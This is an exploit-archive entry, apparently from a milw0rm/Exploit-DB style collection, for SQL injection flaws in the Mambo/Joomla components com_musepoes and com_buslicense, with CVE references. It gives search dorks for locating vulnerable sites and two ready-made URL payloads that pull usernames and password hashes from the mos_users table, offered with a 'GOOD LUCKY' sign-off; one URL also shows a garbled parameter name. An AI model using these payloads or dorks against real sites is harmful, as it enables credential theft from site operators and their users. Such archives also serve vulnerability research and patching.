Mambo Component musepoes - 'aid' SQL Injection
Author: S@BUN
type: webapps
platform: php
port:
date_added: 2008-01-29
date_updated: 2016-11-09
verified: 1
codes: OSVDB-41267;CVE-2008-0579;OSVDB-41203;CVE-2008-0515
tags:
aliases:
screenshot_url:
application_url:
#########################################################################
#
# joomla SQL Injection(com_musepoes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#########################################################################
#
# DorKs 1 : allinurl: "com_musepoes"
#
########################################################################
EXPLOIT :
index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*
#########################################################################
# S@BUN www.hackturkiye.com S@BUN #########################################################################
#########################################################################
# S@BUN GOOD LUCKY S@BUN
#########################################################################
-------------------------------------------------------------------------------------------------------------------------------------------------
#########################################################################
#
# joomla SQL Injection(com_buslicense)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#########################################################################
#
# DorKs 1 : allinurl: "com_buslicense"
#
########################################################################
EXPLOIT :
index.php?option=com_buslicense§ionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*
#########################################################################
# S@BUN www.hackturkiye.com S@BUN
#########################################################################
# S@BUN GOOD LUCKY S@BUN
#########################################################################
# milw0rm.com [2008-01-30]